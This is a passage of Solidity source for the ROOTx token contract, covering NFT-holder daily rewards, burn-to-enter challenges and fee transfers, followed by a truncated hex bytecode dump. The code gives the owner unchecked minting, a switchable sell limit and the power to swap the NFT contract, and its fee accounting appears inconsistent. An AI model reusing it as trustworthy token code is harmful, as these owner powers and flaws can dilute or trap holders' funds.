multiTransfer(address[] memory receivers, uint256[] memory amounts) public { require(receivers.length != 0, 'Cannot Proccess Null Transaction'); require(receivers.length == amounts.length, 'Address and Amount array length must be same'); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if(feeExcludedAddress[recipient] || feeExcludedAddress[_msgSender()]){ _transferExcluded(_msgSender(), recipient, amount); }else{ _transfer(_msgSender(), recipient, amount); } return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { if(feeExcludedAddress[recipient] || feeExcludedAddress[sender]){ _transferExcluded(sender, recipient, amount); }else{ _transfer(sender, recipient, amount); } _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transferExcluded(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != _Owner && recipient != _Owner) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(recipient == liquidityPair && balanceOf(liquidityPair) > 0 && sellLimiter){ require(amount < sellLimit, 'Cannot sell more than sellLimit'); } // if(holder[recipient] == false){ // holder[recipient] = true; // holders.push(recipient); // } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _transfer( address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != _Owner && recipient != _Owner) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(recipient == liquidityPair && balanceOf(liquidityPair) > 0 && sellLimiter){ require(amount < sellLimit, 'Cannot sell more than sellLimit'); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; uint256 tokenToTransfer = amount.sub(calculateTeamBurn(amount)); _balances[recipient] += tokenToTransfer; _balances[_fundAddress] += calculateTeamFee(amount); emit Transfer(sender, recipient, tokenToTransfer); } uint256 public total1; uint256 public a1; address[] public amount123; function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function addSupply(uint256 amount) public onlyOwner{ _mint(msg.sender, amount); } function checkDailyReward(uint256 tokenID) public view returns (uint256){ uint256 lastdate = (lastReward[tokenID] > rewardStartDate) ? lastReward[tokenID] : rewardStartDate; uint256 rewardDays = (block.timestamp - lastdate).div(1 days); return rewardDays.mul(rewardAmount); } function claimDailyReward(uint256 tokenID) public { require(dailyReward," Daily Rewards Are Stopped "); require(NFTContract.ownerOf(tokenID) == msg.sender, "You aren't own this NFT token"); require(checkDailyReward(tokenID) > 0, "There is no claimable reward"); _mint(msg.sender, checkDailyReward(tokenID)); lastReward[tokenID] = block.timestamp; emit claimedDailyReward(tokenID, msg.sender, block.timestamp); } function bulkClaimRewards(uint256[] memory tokenIDs) public { require(dailyReward," Daily Rewards Are Stopped "); uint256 total; for (uint256 i = 0; i < tokenIDs.length; i++) { require(NFTContract.ownerOf(tokenIDs[i]) == msg.sender, "You aren't own this NFT token"); total += checkDailyReward(tokenIDs[i]); if(checkDailyReward(tokenIDs[i]) > 0){ lastReward[tokenIDs[i]] = block.timestamp; } } require(total > 0, "There is no claimable reward"); _mint(msg.sender, total); } function _burn(uint256 amount) public virtual { require(_balances[msg.sender] >= amount,'insufficient balance!'); _beforeTokenTransfer(msg.sender, address(0x000000000000000000000000000000000000dEaD), amount); _balances[msg.sender] = _balances[msg.sender].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, address(0x000000000000000000000000000000000000dEaD), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function NFTBalance(address __address) public view returns(uint256) { return NFTContract.balanceOf(__address); } function NFTOwner(uint256 __id) public view returns(address ) { return NFTContract.ownerOf(__id); } function NFTWallet(address __address) public view returns(uint256[] memory) { return NFTContract.walletOfOwner(__address); } struct challenge{ uint256 id; string des; uint256 roots; uint256 nfts; bool status; } uint256 public challengeCount = 0; mapping (uint => challenge) public Challenges; mapping(uint => mapping(address => bool)) public entry; function startChallnge(string memory _des, uint256 _roots, uint256 _nfts) public onlyOwner{ Challenges[challengeCount+1] = challenge(challengeCount+1, _des, _roots, _nfts, true); challengeCount++; } function enterChallenge(uint256 _id) public { require(_id == Challenges[_id].id && _id != 0, "Invalid ID"); require(Challenges[_id].status == true, "Challenge ended"); require(entry[_id][msg.sender] != true, "You are already inrolled in this challenge"); require(Challenges[_id].nfts <= NFTContract.balanceOf(msg.sender), "You own less amount of BearX than reequired"); require(Challenges[_id].roots <= balanceOf(msg.sender), "You own less amount of ROOT than required"); _burn(Challenges[_id].roots); entry[_id][msg.sender] = true; } function toggleChallengeStatus(uint256 _id) public onlyOwner { require(_id == Challenges[_id].id && _id != 0, "Invalid ID"); Challenges[_id].status = !Challenges[_id].status; } function u_contract(address _contarct) public onlyOwner { require(_contarct != address(0), "Invalid address"); NFTContract = INFT(_contarct); } } contract ROOTx is ERC20 { constructor(INFT NFTContract) public ERC20("ROOTx", "ROOTx", NFTContract) { _mint(msg.sender, 6500 ether); // // holder[msg.sender] = true; // holders.push(msg.sender); } }
0x608060405234801561001057600080fd5b50600436106103985760003560e01c8063808a5457116101e9578063b93833c31161010f578063dd62ed3e116100ad578063f7b2a7be1161007c578063f7b2a7be1461137e578063f9271fd31461139c578063fc50eef3146113e0578063fce589d8146113ea57610398565b8063dd62ed3e146111cf578063e6ec64ec14611247578063ec323bf114611275578063f2fde38b1461133a57610398565b8063d51fe9cb116100e9578063d51fe9cb146110f7578063d7c94efd1461114f578063dcc234551461116d578063dd467064146111a157610398565b8063b93833c314611089578063bab62f38146110b7578063c964ad45146110d757610398565b8063a2f0572511610187578063a86a226f11610156578063a86a226f14610f0b578063a9059cbb14610fc3578063a9b54bcd14611027578063b6c523241461106b57610398565b8063a2f0572514610e3b578063a457c2d714610e59578063a646c35d14610ebd578063a69df4b514610f0157610398565b806383a28894116101c357806383a2889414610cce57806395d89b4114610d325780639aa980f814610db55780639b1f9e7414610e0d57610398565b8063808a545714610c5c57806380dc067214610c905780638230af5a14610c9a57610398565b806340753a76116102ce578063687b5f5e1161026c578063700504e81161023b578063700504e814610bbe57806370a0823114610bdc578063746c8ae114610c345780637d1db4a514610c3e57610398565b8063687b5f5e14610a1f5780636e63cd9614610aee5780636f4e2c4714610b225780636feecb6814610b6657610398565b80634bf2c7c9116102a85780634bf2c7c9146109615780634f91e48c1461098f5780634f922a9e146109ad5780635e67fe14146109f157610398565b806340753a761461086c578063417b44151461089a578063428e78231461093357610398565b80631e89d5451161033b57806328f97b871161031557806328f97b8714610774578063313ce567146107b657806331c2273b146107d4578063395093511461080857610398565b80631e89d5451461057657806323b872dd146106c257806325c1a6951461074657610398565b80630eda7275116103775780630eda7275146104de578063119552a11461050c57806318160ddd1461052a578063186128381461054857610398565b8062f83cdf1461039d57806306fdde03146103f7578063095ea7b31461047a575b600080fd5b6103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611408565b60405180821515815260200191505060405180910390f35b6103ff611428565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043f578082015181840152602081019050610424565b50505050905090810190601f16801561046c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104c66004803603604081101561049057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114ca565b60405180821515815260200191505060405180910390f35b61050a600480360360208110156104f457600080fd5b81019080803590602001909291905050506114e8565b005b610514611598565b6040518082815260200191505060405180910390f35b61053261159e565b6040518082815260200191505060405180910390f35b6105746004803603602081101561055e57600080fd5b81019080803590602001909291905050506115a8565b005b6106c06004803603604081101561058c57600080fd5b81019080803590602001906401000000008111156105a957600080fd5b8201836020820111156105bb57600080fd5b803590602001918460208302840111640100000000831117156105dd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561063d57600080fd5b82018360208201111561064f57600080fd5b8035906020019184602083028401116401000000008311171561067157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061173b565b005b61072e600480360360608110156106d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061185c565b60405180821515815260200191505060405180910390f35b6107726004803603602081101561075c57600080fd5b81019080803590602001909291905050506119ec565b005b6107a06004803603602081101561078a57600080fd5b8101908080359060200190929190505050611e10565b6040518082815260200191505060405180910390f35b6107be611e88565b6040518082815260200191505060405180910390f35b6107dc611e92565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108546004803603604081101561081e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611eb8565b60405180821515815260200191505060405180910390f35b6108986004803603602081101561088257600080fd5b8101908080359060200190929190505050611f6b565b005b6108dc600480360360208110156108b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061201e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561091f578082015181840152602081019050610904565b505050509050019250505060405180910390f35b61095f6004803603602081101561094957600080fd5b8101908080359060200190929190505050612185565b005b61098d6004803603602081101561097757600080fd5b8101908080359060200190929190505050612235565b005b61099761235c565b6040518082815260200191505060405180910390f35b6109ef600480360360208110156109c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612362565b005b610a1d60048036036020811015610a0757600080fd5b810190808035906020019092919050505061244c565b005b610aec60048036036060811015610a3557600080fd5b8101908080359060200190640100000000811115610a5257600080fd5b820183602082011115610a6457600080fd5b80359060200191846001830284011164010000000083111715610a8657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919080359060200190929190505050612724565b005b610af6612886565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b6460048036036020811015610b3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128ac565b005b610ba860048036036020811015610b7c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a39565b6040518082815260200191505060405180910390f35b610bc6612b06565b6040518082815260200191505060405180910390f35b610c1e60048036036020811015610bf257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b0c565b6040518082815260200191505060405180910390f35b610c3c612b54565b005b610c46612ca1565b6040518082815260200191505060405180910390f35b610c64612ca7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c98612ccd565b005b610ca2612e12565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610d1a60048036036040811015610ce457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e38565b60405180821515815260200191505060405180910390f35b610d3a612e67565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d7a578082015181840152602081019050610d5f565b50505050905090810190601f168015610da75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610de160048036036020811015610dcb57600080fd5b8101908080359060200190929190505050612f09565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610e3960048036036020811015610e2357600080fd5b8101908080359060200190929190505050612f45565b005b610e43613138565b6040518082815260200191505060405180910390f35b610ea560048036036040811015610e6f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061313e565b60405180821515815260200191505060405180910390f35b610eff60048036036020811015610ed357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061320b565b005b610f0961330c565b005b610fc160048036036020811015610f2157600080fd5b8101908080359060200190640100000000811115610f3e57600080fd5b820183602082011115610f5057600080fd5b80359060200191846020830284011164010000000083111715610f7257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061352c565b005b61100f60048036036040811015610fd957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613822565b60405180821515815260200191505060405180910390f35b6110696004803603602081101561103d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613905565b005b611073613a05565b6040518082815260200191505060405180910390f35b6110b56004803603602081101561109f57600080fd5b8101908080359060200190929190505050613a0f565b005b6110bf613abf565b60405180821515815260200191505060405180910390f35b6110df613ad2565b60405180821515815260200191505060405180910390f35b6111236004803603602081101561110d57600080fd5b8101908080359060200190929190505050613ae5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b611157613b9c565b6040518082815260200191505060405180910390f35b611175613ba2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6111cd600480360360208110156111b757600080fd5b8101908080359060200190929190505050613bc8565b005b611231600480360360408110156111e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613d9c565b6040518082815260200191505060405180910390f35b6112736004803603602081101561125d57600080fd5b8101908080359060200190929190505050613e23565b005b6112a16004803603602081101561128b57600080fd5b8101908080359060200190929190505050613f4a565b60405180868152602001806020018581526020018481526020018315158152602001828103825286818151815260200191508051906020019080838360005b838110156112fb5780820151818401526020810190506112e0565b50505050905090810190601f1680156113285780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b61137c6004803603602081101561135057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614025565b005b611386614211565b6040518082815260200191505060405180910390f35b6113de600480360360208110156113b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614217565b005b6113e8614301565b005b6113f26143d3565b6040518082815260200191505060405180910390f35b60016020528060005260406000206000915054906101000a900460ff1681565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114c05780601f10611495576101008083540402835291602001916114c0565b820191906000526020600020905b8154815290600101906020018083116114a357829003601f168201915b5050505050905090565b60006114de6114d7614461565b8484614469565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461158e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b8060138190555050565b60175481565b6000600454905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b601a60008281526020019081526020016000206000015481148015611674575060008114155b6116e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f496e76616c69642049440000000000000000000000000000000000000000000081525060200191505060405180910390fd5b601a600082815260200190815260200160002060040160009054906101000a900460ff1615601a600083815260200190815260200160002060040160006101000a81548160ff02191690831515021790555050565b6000825114156117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616e6e6f742050726f6363657373204e756c6c205472616e73616374696f6e81525060200191505060405180910390fd5b805182511461180d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806156a1602c913960400191505060405180910390fd5b60005b82518110156118575761184983828151811061182857fe5b602002602001015183838151811061183c57fe5b6020026020010151613822565b508080600101915050611810565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ff5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119145761190f848484614660565b611920565b61191f848484614b3f565b5b6119e18461192c614461565b6119dc8560405180606001604052806028815260200161578f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611992614461565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546150a29092919063ffffffff16565b614469565b600190509392505050565b601a60008281526020019081526020016000206000015481148015611a12575060008114155b611a84576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f496e76616c69642049440000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515601a600083815260200190815260200160002060040160009054906101000a900460ff16151514611b21576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4368616c6c656e676520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b60011515601b600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611bdc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806156f3602a913960400191505060405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611c6557600080fd5b505afa158015611c79573d6000803e3d6000fd5b505050506040513d6020811015611c8f57600080fd5b8101908080519060200190929190505050601a6000838152602001908152602001600020600301541115611d0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180615800602b913960400191505060405180910390fd5b611d1733612b0c565b601a6000838152602001908152602001600020600201541115611d85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806157456029913960400191505060405180910390fd5b611da4601a600083815260200190815260200160002060020154612f45565b6001601b600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600554600360008581526020019081526020016000205411611e3757600554611e4c565b60036000848152602001908152602001600020545b90506000611e686201518083420361516290919063ffffffff16565b9050611e7f600754826151ac90919063ffffffff16565b92505050919050565b6000600a54905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611f61611ec5614461565b84611f5c8560026000611ed6614461565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143d990919063ffffffff16565b614469565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b61201b3382615232565b50565b6060601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663438b6300836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060006040518083038186803b1580156120a957600080fd5b505afa1580156120bd573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156120e757600080fd5b810190808051604051939291908464010000000082111561210757600080fd5b8382019150602082018581111561211d57600080fd5b825186602082028301116401000000008211171561213a57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015612171578082015181840152602081019050612156565b505050509050016040525050509050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461222b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b8060158190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b6105dc8110612352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f204665652063616e27742065786365656420746f20313525000000000000000081525060200191505060405180910390fd5b8060118190555050565b60135481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612408576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900460ff166124ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f204461696c792052657761726473204172652053746f7070656420000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561255857600080fd5b505afa15801561256c573d6000803e3d6000fd5b505050506040513d602081101561258257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161461261c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f596f75206172656e2774206f776e2074686973204e465420746f6b656e00000081525060200191505060405180910390fd5b600061262782611e10565b1161269a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f5468657265206973206e6f20636c61696d61626c65207265776172640000000081525060200191505060405180910390fd5b6126ac336126a783611e10565b615232565b4260036000838152602001908152602001600020819055507f77c822939fccc95dc88c14c72b87df80b99db967c009bf8eaaf6f96b2c33cf9c813342604051808481526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146127ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b6040518060a00160405280600160195401815260200184815260200183815260200182815260200160011515815250601a60006001601954018152602001908152602001600020600082015181600001556020820151816001019080519060200190612837929190615576565b50604082015181600201556060820151816003015560808201518160040160006101000a81548160ff021916908315150217905550905050601960008154809291906001019190505550505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156129f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612ac457600080fd5b505afa158015612ad8573d6000803e3d6000fd5b505050506040513d6020811015612aee57600080fd5b81019080805190602001909291905050509050919050565b60165481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b600660009054906101000a900460ff1615612c7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4461696c792052657761726420416c72656164792052756e6e696e670000000081525060200191505060405180910390fd5b6001600660006101000a81548160ff02191690831515021790555042600581905550565b60155481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b600660009054906101000a900460ff16612df5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4461696c792052657761726420416c72656164792053746f707065640000000081525060200191505060405180910390fd5b6000600660006101000a81548160ff021916908315150217905550565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612eff5780601f10612ed457610100808354040283529160200191612eff565b820191906000526020600020905b815481529060010190602001808311612ee257829003601f168201915b5050505050905090565b60188181548110612f1657fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612ff9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f696e73756666696369656e742062616c616e636521000000000000000000000081525060200191505060405180910390fd5b6130063361dead836153f9565b61307181604051806060016040528060228152602001615637602291396000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546150a29092919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130c8816004546153fe90919063ffffffff16565b60048190555061dead73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b60195481565b600061320161314b614461565b846131fc8560405180606001604052806025815260200161586f6025913960026000613175614461565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546150a29092919063ffffffff16565b614469565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146132b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146133b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061582b6023913960400191505060405180910390fd5b600b544211613429576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900460ff166135ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f204461696c792052657761726473204172652053746f7070656420000000000081525060200191505060405180910390fd5b600080600090505b825181101561379d573373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e85848151811061362057fe5b60200260200101516040518263